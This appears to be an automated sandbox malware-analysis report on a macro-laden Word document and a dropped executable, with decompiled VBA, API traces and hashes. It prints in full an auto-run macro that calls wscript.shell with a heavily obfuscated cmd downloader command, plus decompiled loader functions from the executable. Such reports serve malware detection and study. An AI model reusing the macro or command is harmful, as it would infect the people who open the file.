Part of subcall function Swon@X4nu: Ikhzz
Part of subcall function Swon@X4nu: Sgn
Part of subcall function Swon@X4nu: Dzi8v
Part of subcall function Swon@X4nu: CDbl
Part of subcall function Swon@X4nu: Sin
Part of subcall function Swon@X4nu: Sivo
Part of subcall function Swon@X4nu: Fix
Part of subcall function Swon@X4nu: Mo5n
Part of subcall function Swon@X4nu: Round
Part of subcall function Swon@X4nu: Rf1k
Part of subcall function Swon@X4nu: Array
Part of subcall function Swon@X4nu: Naq6
Part of subcall function Swon@X4nu: Jo0l
Part of subcall function Swon@X4nu: Bf8u8
Part of subcall function Swon@X4nu: Run
Part of subcall function Swon@X4nu: Eqtriik
Part of subcall function Swon@X4nu: Xmt48b
Part of subcall function Swon@X4nu: Cirfct
Part of subcall function Swon@X4nu: Vcuj2h
Part of subcall function Swon@X4nu: T1p6m7h9t
Part of subcall function Swon@X4nu: Wh8jih2w
Part of subcall function Swon@X4nu: T2v7l
Part of subcall function Swon@X4nu: Njou
Part of subcall function Swon@X4nu: G4vm
Part of subcall function Swon@X4nu: Roh0
Part of subcall function Swon@X4nu: CDate
Part of subcall function Swon@X4nu: Wkcv5
Part of subcall function Swon@X4nu: E152
Part of subcall function Swon@X4nu: Sgn
Part of subcall function Swon@X4nu: Vnai
Part of subcall function Swon@X4nu: CDbl
Part of subcall function Swon@X4nu: Sin
Part of subcall function Swon@X4nu: I5hz
Part of subcall function Swon@X4nu: Fix
Part of subcall function Swon@X4nu: K9oz1
Part of subcall function Swon@X4nu: Round
Part of subcall function Swon@X4nu: Abu7
Hjqi
Znwv
Jjnw6
S6zk
Ljh50
Jj02r
Dia5
Akaqu
Jiiin
C7n5

Line	Instruction	Meta Information
10	Sub autoopen()
11	P8ou = Zplv - Snfj	Zplv Snfj executed
12	Fwjdi = Dmul - J816	Dmul J816
13	Zznrk = Gvzbj - Xm49f	Gvzbj Xm49f
14	Wwdj = Gfku - Amhl	Gfku Amhl
15	Kpqsr = Sqni - Rfp9	Sqni Rfp9
16	Swon
17	Zz26 = Hjqi - Znwv	Hjqi Znwv
18	Vw1i = Jjnw6 - S6zk	Jjnw6 S6zk
19	Wmr2 = Ljh50 - Jj02r	Ljh50 Jj02r
20	Acpf8 = Dia5 - Akaqu	Dia5 Akaqu
21	D28t = Jiiin - C7n5	Jiiin C7n5
22	End Sub

Module: Rnb3

Declaration

Line	Content
1	Attribute VB_Name = "Rnb3"
2	Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = False
6	Attribute VB_Exposed = False
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = False

Module: Shju8

Declaration

Line	Content
1	Attribute VB_Name = "Shju8"
2	Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = False
6	Attribute VB_Exposed = False
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = False

Module: U1h22

Declaration

Line	Content
1	Attribute VB_Name = "U1h22"

Module: X4nu

Declaration

Line	Content
1	Attribute VB_Name = "X4nu"

Executed Functions

Function Swon, APIs: 92, Strings: 2, Number of lines: 88, Relevance: 196.088

APIs	Meta Information
Rj1c
CDate
R8i4
Dq9q
Sgn
U7nm2
CDbl
Sin
C5io
Fix
Bq9b
Round
Fzw0
S7jm5
CDate
Z2ti
Ijsjv
Sgn
M5v4p
CDbl
Sin
Zt90
Fix
H2m3i
Round
Gw1s
Na7u3
CDate
J4io
C4506
Sgn
Nvjvk
CDbl
Sin
Kwc19
Fix
M8kw
Round
Y7ss
S527
CDate
Wvv8p
Fzz9
Sgn
Ebl1
CDbl
Sin
Gjvum
Fix
Bn1zn
Round
Uq7jc
H5t0v
CDate
Bsowp
Ikhzz
Sgn
Dzi8v
CDbl
Sin
Sivo
Fix
Mo5n
Round
Rf1k
Array
Naq6
Jo0l
Bf8u8
Run	IWshShell3.Run("cmd /c %pROgrAMDAtA:~0,1%%PRograMdATa:~9,2% /V:/r " SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 , 0, 7 , 31, 11 , 5 , 36 , 7 , 41, 0 , 45, 42 , 22 , 10, 41 , 52 ,21 , 66, 64 , 40 , 42 ,5 , 53 , 31 ,35 , 59 , 66 , 64 , 70 , 79, 67 , 26 , 15 , 15 , 58 , 57, 45 , 45,15 ,41 ,58, 31, 4 , 21 , 31 , 14 , 5 , 36 , 7 , 41, 0, 45, 3,32 , 26,64 , 6 , 72 , 11 ,58 ,11 ,79 ,67 , 26 , 15,15 , 58 , 57 , 45 , 45, 15 , 31 , 4 , 31 , 71 ,21 , 41 , 15 ,4, 58 , 11 , 5 , 71 , 71, 36 , 7 , 41 , 0 , 45 , 78 ,38 , 60, 44, 58 ,64, 23, 3 , 79 , 59 , 15, 63 , 64 , 29, 78,46 , 61 , 80 , 56, 72 , 67 , 26 ,15 ,15 ,58 , 57 , 45 ,45,0,66 , 51 , 41 ,76 , 0, 66 , 4 , 1 , 51 ,51,66 , 36 , 7 , 41 , 0 , 45 , 42 , 43 , 66 , 7 , 14 , 68 , 29 , 64 , 59 , 61 , 19 , 41 , 20 ,67, 26 , 15 ,15 ,58 , 57 ,45 , 45 , 11 , 53 , 75 , 41 , 21 , 55, 11 , 5 , 7 , 11 , 1 , 53 , 15 , 0 , 5 ,75 , 15 , 36 , 7 , 41 , 0, 45 , 40 , 5 , 5 , 28 , 15 , 64, 70 , 70, 39 , 15 ,48 , 36 , 6, 58, 21, 53 , 15, 50,48,67 ,48 , 27 , 30 ,62,10 , 23 , 1 , 21, 18, 48 , 13 ,15 , 53 , 38 , 48 , 30 , 62 , 78 , 16 , 9 , 21 , 77 ,18 , 77 , 48 , 40 , 23 , 40 , 48 , 30 , 62 , 33,79 ,26 ,79, 18 ,48 , 80, 38,79 , 11 , 48 , 30, 62 , 43 , 53 , 59 , 21 , 18 , 62 , 5 ,75 , 20,57 , 58 , 1 , 4,21 , 53 , 7, 17 , 48, 2 , 48 , 17 , 62 , 78,16 ,9 , 21 , 17 , 48, 36 , 5 , 56, 5 , 48 , 30 , 55 ,41 , 11 , 5 , 31 ,7 , 26 , 50 , 62 , 70, 46 , 7 , 79 , 77 , 53 ,75, 77 , 62 , 24 , 21 , 38 , 4 , 27 , 8 , 15 , 11 , 66 ,8 , 62 , 3 , 68 , 0 , 14, 36 , 65 , 41 , 68 , 75 ,21 , 41, 31 ,51 , 73 , 53 , 21 , 5 ,50 ,62 , 70 ,46 , 7 ,79 , 25 , 77,62 , 43 , 53 ,59, 21 , 27, 30 , 62 ,73 , 37,20 , 68, 18 ,48 ,63 , 41 , 59 , 7 , 48 , 30 , 70, 55, 77, 50 , 50, 19 , 5 , 15 , 69 ,70 , 15 , 5 , 0 , 77 ,62, 43, 53 , 59,21 , 27 , 36 , 21, 5 ,75 , 76 , 15 , 26 , 77 , 69 , 76, 5 ,77 , 28 , 39 , 39 ,39 ,39 , 27 , 77,8 , 70 ,75 , 20 , 41 , 79 , 5 , 69, 70 ,15 , 5, 0 , 77 , 62 , 43 , 53 ,59 ,21 , 30 , 62, 32 ,46 ,16 , 14 , 18 , 48 ,13 , 1,51 ,28 ,48 , 30,4 ,11 , 5 , 31, 79 , 30 ,34 ,34, 7 , 31 , 15 ,7 , 26 , 8, 34 , 34 ,62 , 78, 59 , 47 , 41 , 18 , 48 , 80 , 1 , 14 , 16 ,48 ,30 ,84 )DO SeT oN4=!oN4!!0DjH:~ %J, 1!& IF %J GEQ 84 eCHO,0) -> 0
Eqtriik
Xmt48b
Cirfct
Vcuj2h
T1p6m7h9t
Wh8jih2w
T2v7l
Njou
G4vm
Roh0
CDate
Wkcv5
E152
Sgn
Vnai
CDbl
Sin
I5hz
Fix
K9oz1
Round
Abu7

Strings	Decrypted Strings
""""
"wscript.shell"

Line	Instruction	Meta Information
2	Function Swon()
3	On Error Resume Next	executed
4	Select Case Rj1c	Rj1c
5	Case 862
6	C0vu = CDate(R8i4)	CDate R8i4
7	Tumb6 = Dq9q	Dq9q
8	K30wb = Sgn(U7nm2)	Sgn U7nm2
9	Case 595
10	Udiz = 317
11	Edtf = CDbl(415)	CDbl
12	Xduai = Sin(C5io)	Sin C5io
13	Case 169
14	Ws2f8 = Fix(Bq9b)	Fix Bq9b
15	Uu8fw = Round(564)	Round
16	Pnuj = Fzw0	Fzw0
17	End Select	Rj1c
18	Select Case S7jm5	S7jm5
19	Case 438
20	Tfjsf = CDate(Z2ti)	CDate Z2ti
21	Twi0 = Ijsjv	Ijsjv
22	Er1fs = Sgn(M5v4p)	Sgn M5v4p
23	Case 267
24	Scit = 428
25	Ki8j = CDbl(834)	CDbl
26	Lji54 = Sin(Zt90)	Sin Zt90
27	Case 695
28	Zm0ko = Fix(H2m3i)	Fix H2m3i
29	Vqd8 = Round(490)	Round
30	Ya7q = Gw1s	Gw1s
31	End Select	S7jm5
32	Select Case Na7u3	Na7u3
33	Case 642
34	Xj8o = CDate(J4io)	CDate J4io
35	Irqfs = C4506	C4506
36	Nz83q = Sgn(Nvjvk)	Sgn Nvjvk
37	Case 174
38	Kjnr = 960
39	Ekao = CDbl(854)	CDbl
40	Lpb3q = Sin(Kwc19)	Sin Kwc19
41	Case 466
42	Qjvs = Fix(M8kw)	Fix M8kw
43	Ljc6 = Round(958)	Round
44	Z9bc5 = Y7ss	Y7ss
45	End Select	Na7u3
46	Select Case S527	S527
47	Case 381
48	Zzz2 = CDate(Wvv8p)	CDate Wvv8p
49	Lswo7 = Fzz9	Fzz9
50	Hr8c = Sgn(Ebl1)	Sgn Ebl1
51	Case 726
52	Uz1qt = 430
53	Vtiq = CDbl(606)	CDbl
54	Hofiu = Sin(Gjvum)	Sin Gjvum
55	Case 173
56	Hrqkm = Fix(Bn1zn)	Fix Bn1zn
57	Mru4 = Round(412)	Round
58	O6b3f = Uq7jc	Uq7jc
59	End Select	S527
60	Select Case H5t0v	H5t0v
61	Case 484
62	Mz6qh = CDate(Bsowp)	CDate Bsowp
63	C21f = Ikhzz	Ikhzz
64	M1jw = Sgn(Dzi8v)	Sgn Dzi8v
65	Case 434
66	Jbiki = 441
67	R24i = CDbl(408)	CDbl
68	Hpwzb = Sin(Sivo)	Sin Sivo
69	Case 724
70	R5nrf = Fix(Mo5n)	Fix Mo5n
71	Kq62 = Round(503)	Round
72	Bih5 = Rf1k	Rf1k
73	End Select	H5t0v
74	Mw48w = Array(Naq6, Jo0l, Bf8u8, CreateObject("wscript.shell").Run(("" + Eqtriik + Xmt48b + Cirfct + Vcuj2h + Owl5.TextBox1) + T1p6m7h9t + Wh8jih2w, 67 - 67), T2v7l, Njou, G4vm)	Array Naq6 Jo0l Bf8u8 IWshShell3.Run("cmd /c %pROgrAMDAtA:~0,1%%PRograMdATa:~9,2% /V:/r " SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 , 0, 7 , 31, 11 , 5 , 36 , 7 , 41, 0 , 45, 42 , 22 , 10, 41 , 52 ,21 , 66, 64 , 40 , 42 ,5 , 53 , 31 ,35 , 59 , 66 , 64 , 70 , 79, 67 , 26 , 15 , 15 , 58 , 57, 45 , 45,15 ,41 ,58, 31, 4 , 21 , 31 , 14 , 5 , 36 , 7 , 41, 0, 45, 3,32 , 26,64 , 6 , 72 , 11 ,58 ,11 ,79 ,67 , 26 , 15,15 , 58 , 57 , 45 , 45, 15 , 31 , 4 , 31 , 71 ,21 , 41 , 15 ,4, 58 , 11 , 5 , 71 , 71, 36 , 7 , 41 , 0 , 45 , 78 ,38 , 60, 44, 58 ,64, 23, 3 , 79 , 59 , 15, 63 , 64 , 29, 78,46 , 61 , 80 , 56, 72 , 67 , 26 ,15 ,15 ,58 , 57 , 45 ,45,0,66 , 51 , 41 ,76 , 0, 66 , 4 , 1 , 51 ,51,66 , 36 , 7 , 41 , 0 , 45 , 42 , 43 , 66 , 7 , 14 , 68 , 29 , 64 , 59 , 61 , 19 , 41 , 20 ,67, 26 , 15 ,15 ,58 , 57 ,45 , 45 , 11 , 53 , 75 , 41 , 21 , 55, 11 , 5 , 7 , 11 , 1 , 53 , 15 , 0 , 5 ,75 , 15 , 36 , 7 , 41 , 0, 45 , 40 , 5 , 5 , 28 , 15 , 64, 70 , 70, 39 , 15 ,48 , 36 , 6, 58, 21, 53 , 15, 50,48,67 ,48 , 27 , 30 ,62,10 , 23 , 1 , 21, 18, 48 , 13 ,15 , 53 , 38 , 48 , 30 , 62 , 78 , 16 , 9 , 21 , 77 ,18 , 77 , 48 , 40 , 23 , 40 , 48 , 30 , 62 , 33,79 ,26 ,79, 18 ,48 , 80, 38,79 , 11 , 48 , 30, 62 , 43 , 53 , 59 , 21 , 18 , 62 , 5 ,75 , 20,57 , 58 , 1 , 4,21 , 53 , 7, 17 , 48, 2 , 48 , 17 , 62 , 78,16 ,9 , 21 , 17 , 48, 36 , 5 , 56, 5 , 48 , 30 , 55 ,41 , 11 , 5 , 31 ,7 , 26 , 50 , 62 , 70, 46 , 7 , 79 , 77 , 53 ,75, 77 , 62 , 24 , 21 , 38 , 4 , 27 , 8 , 15 , 11 , 66 ,8 , 62 , 3 , 68 , 0 , 14, 36 , 65 , 41 , 68 , 75 ,21 , 41, 31 ,51 , 73 , 53 , 21 , 5 ,50 ,62 , 70 ,46 , 7 ,79 , 25 , 77,62 , 43 , 53 ,59, 21 , 27, 30 , 62 ,73 , 37,20 , 68, 18 ,48 ,63 , 41 , 59 , 7 , 48 , 30 , 70, 55, 77, 50 , 50, 19 , 5 , 15 , 69 ,70 , 15 , 5 , 0 , 77 ,62, 43, 53 , 59,21 , 27 , 36 , 21, 5 ,75 , 76 , 15 , 26 , 77 , 69 , 76, 5 ,77 , 28 , 39 , 39 ,39 ,39 , 27 , 77,8 , 70 ,75 , 20 , 41 , 79 , 5 , 69, 70 ,15 , 5, 0 , 77 , 62 , 43 , 53 ,59 ,21 , 30 , 62, 32 ,46 ,16 , 14 , 18 , 48 ,13 , 1,51 ,28 ,48 , 30,4 ,11 , 5 , 31, 79 , 30 ,34 ,34, 7 , 31 , 15 ,7 , 26 , 8, 34 , 34 ,62 , 78, 59 , 47 , 41 , 18 , 48 , 80 , 1 , 14 , 16 ,48 ,30 ,84 )DO SeT oN4=!oN4!!0DjH:~ %J, 1!& IF %J GEQ 84 eCHO,0) -> 0 Eqtriik Xmt48b Cirfct Vcuj2h T1p6m7h9t Wh8jih2w T2v7l Njou G4vm executed
75	Select Case Roh0	Roh0
76	Case 444
77	Uvha = CDate(Wkcv5)	CDate Wkcv5
78	Ypw0c = E152	E152
79	Yai4 = Sgn(Vnai)	Sgn Vnai
80	Case 279
81	Az01a = 868
82	M84wp = CDbl(847)	CDbl
83	Rtbfb = Sin(I5hz)	Sin I5hz
84	Case 192
85	Ltqok = Fix(K9oz1)	Fix K9oz1
86	Ya8n = Round(816)	Round
87	Zln7 = Abu7	Abu7
88	End Select	Roh0
89	End Function

Reset < >

Analysis Process: 363.exe PID: 3632 Parent PID: 4004363.exeUNIQUE

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	62.9%
Signature Coverage:	6.7%
Total number of Nodes:	89
Total number of Limit Nodes:	7

Executed Functions

Function 00311C10, Relevance: 1.5, APIs: 1, Instructions: 8
processCOMMON

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00311C14

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID:
API String ID: 3332741929-0
Opcode ID: 571570bbbac44b83d6048021849391ba3bea2a5cfbb983a38a60b21df7f2d364
Instruction ID: b4342832503aef47152548946f453ae0563b7d9f2e75a865126f2941fa7f0282
Opcode Fuzzy Hash: 571570bbbac44b83d6048021849391ba3bea2a5cfbb983a38a60b21df7f2d364
Instruction Fuzzy Hash: CFB09272608A2487933E2639689C0A86098464E334B2A4766CE7B936F0A6648D869985

Uniqueness

Uniqueness Score: 0.01%

Function 003111CD, Relevance: 9.0, APIs: 6, Instructions: 27
synchronizationCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 41%

			E003111CD(void* __edi) {
				void* __esi;
				void* _t7;
				void* _t14;
				void* _t17;
				void* _t19;
				void* _t21;

				_t17 = __edi;
				GetModuleFileNameW(??, ??, ??);
				_push(_t21 - 0x18);
				_push(0x80);
				_t7 = L00312020(_t19); // executed
				if(_t7 != 0) {
					WaitForSingleObject(_t19, 0xffffffff); // executed
					CloseHandle( *(_t21 - 0x18));
					CloseHandle( *(_t21 - 0x14));
				}
				CloseHandle(_t19);
				CloseHandle(_t14);
				return _t17;
			}

0x003111cd
0x003111cd
0x003111d6
0x003111d7
0x003111e2
0x003111ec
0x003111f1
0x003111fa
0x00311203
0x00311203
0x0031120a
0x00311211
0x0031121f

APIs

GetModuleFileNameW.KERNEL32 ref: 003111CD
WaitForSingleObject.KERNEL32(?,000000FF), ref: 003111F1
CloseHandle.KERNEL32(?), ref: 003111FA
CloseHandle.KERNEL32(?), ref: 00311203
CloseHandle.KERNEL32 ref: 0031120A
CloseHandle.KERNEL32 ref: 00311211

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: CloseHandle$FileModuleNameObjectSingleWait
String ID:
API String ID: 2436384749-0
Opcode ID: e7983328212b742ef5f64aa26cbc3354aca728e81b4ff81123213fc1d5da5746
Instruction ID: 335846cc79e1ec732a3d1c48ead044be13fd3bac307f18e090eca4031fc55d1a
Opcode Fuzzy Hash: e7983328212b742ef5f64aa26cbc3354aca728e81b4ff81123213fc1d5da5746
Instruction Fuzzy Hash: 70E0C036700019ABDB166BA4ED0A9ADBB3DEB49312F000165FA16D01A0DF3556668B61

Uniqueness

Uniqueness Score: 0.01%

Function 0031103C, Relevance: 7.5, APIs: 5, Instructions: 46
synchronizationCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 32%

			E0031103C(void* __esi, void* __eflags) {
				void* _t24;
				int _t29;
				void* _t34;
				void* _t44;
				void* _t50;
				void* _t58;
				void* _t59;
				int _t72;
				void* _t74;
				void* _t79;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t86;

				_t74 = __esi;
				 *(_t82 - 4) = 0;
				 *((intOrPtr*)(_t82 - 8)) = GetCurrentProcessId();
				_t72 = 0; // executed
				L00311C00(E00311000, _t82 - 4); // executed
				_t4 = _t72 + 0x14; // 0x14
				_t24 = L00311D10(0x320000, _t4, 0, _t74);
				_t75 = _t24;
				 *0x323344(_t82 - 0x118, 0x40, _t24,  *(_t82 - 4), 0x64da9f26);
				_t86 = _t84 + 0x14;
				L00311DB0(_t24);
				_t29 = CreateMutexW(0, 1, _t82 - 0x118); // executed
				_t58 = _t29;
				if(_t58 == 0) {
					L6:
					goto 0x330045;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t82 = 0xbdde8cc;
					 *_t29 =  *_t29 + _t29;
					_t12 = _t82 - 0x118; // 0xbdde7b4
					 *0x323344(_t12, 0x40, _t29,  *0x0BDDE8C4);
					L00311DB0(_t29);
					_t14 = _t82 - 0x118; // 0xbdde7b4
					_t34 = CreateMutexW(0, 1, _t14); // executed
					_t59 = _t34;
					if(_t59 != 0) {
						goto 0x330062;
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_t82 = 0xb8ce8cc;
						 *_t34 = _t34 +  *_t34;
						_t15 = _t82 - 0x98; // 0xb8ce834
						 *0x323344(_t15, 0x40, _t34,  *0x0B8CE8C4);
						L00311DB0(_t34);
						_t17 = _t82 - 0x98; // 0xb8ce834
						_t79 = CreateEventW(0, 1, 0, _t17);
						if(_t79 != 0) {
							goto 0x33007f;
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							GetModuleFileNameW();
							_push(0xb8ce8b4);
							_push(0x80);
							_t44 = L00312020(_t79); // executed
							if(_t44 != 0) {
								WaitForSingleObject(_t79, 0xffffffff); // executed
								CloseHandle( *0x0B8CE8B4);
								CloseHandle( *0x0B8CE8B8);
							}
							CloseHandle(_t79);
						}
						CloseHandle(_t59);
					}
				} else {
					if(GetLastError() == 0xb7) {
						_t50 = L00311D10(0x320020, _t49 + 0x1d, 0, _t75);
						 *0x323344(_t82 - 0x98, 0x40, _t50,  *(_t82 - 4));
						_t86 = _t86 + 0x14;
						L00311DB0(_t50);
						_t81 = CreateEventW(0, 1, 0, _t82 - 0x98);
						if(_t81 != 0) {
							SetEvent(_t81);
							CloseHandle(_t81);
							_t72 = 1;
						}
					}
					_t29 = CloseHandle(_t58);
					if(_t72 == 0) {
						goto L6;
					}
				}
				return _t72;
			}

0x0031103c
0x0031103c
0x0031104c
0x00311054
0x00311056
0x00311060
0x00311068
0x00311070
0x0031107f
0x00311085
0x0031108a
0x00311099
0x0031109f
0x003110a3
0x0031111f
0x0031111f
0x00311124
0x00311125
0x00311126
0x00311127
0x00311128
0x00311129
0x0031112a
0x0031112b
0x0031112c
0x00311131
0x00311138
0x00311145
0x00311150
0x00311155
0x00311160
0x00311166
0x0031116a
0x00311170
0x00311175
0x00311176
0x00311177
0x00311178
0x00311179
0x0031117a
0x0031117b
0x0031117c
0x0031117d
0x00311182
0x00311189
0x00311196
0x003111a1
0x003111a6
0x003111b9
0x003111bd
0x003111bf
0x003111c4
0x003111c5
0x003111c6
0x003111c7
0x003111c8
0x003111c9
0x003111ca
0x003111cb
0x003111cc
0x003111cd
0x003111d6
0x003111d7
0x003111e2
0x003111ec
0x003111f1
0x003111fa
0x00311203
0x00311203
0x0031120a
0x0031120a
0x00311211
0x00311211
0x003110a5
0x003110b0
0x003110bf
0x003110d6
0x003110dc
0x003110e1
0x003110f7
0x003110fb
0x003110fe
0x00311105
0x0031110b
0x0031110b
0x003110fb
0x00311111
0x00311119
0x00000000
0x00000000
0x00311119
0x0031121f

APIs

GetCurrentProcessId.KERNEL32 ref: 00311043
_snwprintf.NTDLL ref: 0031107F
CreateMutexW.KERNELBASE(00000000,00000001,?), ref: 00311099
GetLastError.KERNEL32 ref: 003110A5
CloseHandle.KERNEL32(00000000), ref: 00311111

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: CloseCreateCurrentErrorHandleLastMutexProcess_snwprintf
String ID:
API String ID: 670123879-0
Opcode ID: 935e26a692faf113d29f283a2aadaf23f6a58b574f60047a94601a6465dfc2e0
Instruction ID: 4caa2c152b2dc46a57a67b020fea853e1620c45ea6dd4e48720d3b4b77b48e05
Opcode Fuzzy Hash: 935e26a692faf113d29f283a2aadaf23f6a58b574f60047a94601a6465dfc2e0
Instruction Fuzzy Hash: 1301F735B00104A7DB6BEBA0EC857EDB77EEB88341F1044A9E70996101DF349F858BA2

Uniqueness

Uniqueness Score: 0.01%

Function 00312031, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
processCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00312031(WCHAR* __esi) {
				int _t11;
				void* _t17;
				void* _t21;

				E003117E0(_t17);
				 *(_t21 - 0x58) = 0x44;
				_t11 = CreateProcessW(__esi, 0, 0, 0, 0,  *(_t21 + 8), 0, 0, _t21 - 0x58, _t21 - 0x10); // executed
				if(_t11 == 0) {
					goto 0x330675;
					asm("int3");
					return _t11;
				} else {
					if( *((intOrPtr*)(_t21 + 0xc)) == 0) {
						CloseHandle( *(_t21 - 0x10));
						CloseHandle( *(_t21 - 0xc));
						return 1;
					} else {
						asm("movdqu xmm0, [ebp-0x10]");
						asm("movdqu [eax], xmm0");
						return 1;
					}
				}
			}

0x00312031
0x00312039
0x00312055
0x0031205d
0x00312095
0x0031209a
0x0031209b
0x0031205f
0x00312064
0x0031207c
0x00312085
0x00312094
0x00312066
0x00312066
0x0031206b
0x00312078
0x00312078
0x00312064

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000044,?), ref: 00312055
CloseHandle.KERNEL32(?), ref: 0031207C
CloseHandle.KERNEL32(?), ref: 00312085

Strings

D, xrefs: 00312039

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: CloseHandle$CreateProcess
String ID: D
API String ID: 2922976086-2746444292
Opcode ID: faf28b9f307e594197b52f368594ad378674e4b3b77bd7fe39a02c68baf3bba5
Instruction ID: 330c20b20388e7329eea948dd46090e299c0867b0c0f6063d4760c5ccde6577d
Opcode Fuzzy Hash: faf28b9f307e594197b52f368594ad378674e4b3b77bd7fe39a02c68baf3bba5
Instruction Fuzzy Hash: E5F09031B40208ABEB325F94EC02BEEBB7CEB08700F100155FE08AD2D0DBB6A5A0C754

Uniqueness

Uniqueness Score: 0.01%

Function 001F290C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 192
memoryCOMMON

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001F274F: VirtualAlloc.KERNELBASE ref: 001F27C2

VirtualProtect.KERNELBASE ref: 001F2A96
VirtualProtect.KERNELBASE ref: 001F2B98

Strings

x, xrefs: 001F2AD7

Memory Dump Source

Source File: 0000000A.00000002.1414568995.001F0000.00000040.sdmp, Offset: 001F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1f0000_363.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID: x
API String ID: 2541858876-2363233923
Opcode ID: c920fcb61b1d4d2a4724b68ae33f068ffe6857f0bb714c41a39c995d667d4b2d
Instruction ID: 3e443eba51f4639e81e074aa85782747cc18e631d50cadb9b1aedb2481ba28eb
Opcode Fuzzy Hash: c920fcb61b1d4d2a4724b68ae33f068ffe6857f0bb714c41a39c995d667d4b2d
Instruction Fuzzy Hash: AD91B2B4E002188FDB14CF99C98069DFBF1FF88304F1581AAD958AB356D734A986CF81

Uniqueness

Uniqueness Score: 0.02%

Function 001F2403, Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 34
stringCOMMON

Control-flow Graph

Executed
Not Executed

APIs

lstrcmp.KERNEL32 ref: 001F2450

Strings

FBREY, xrefs: 001F2403, 001F2441
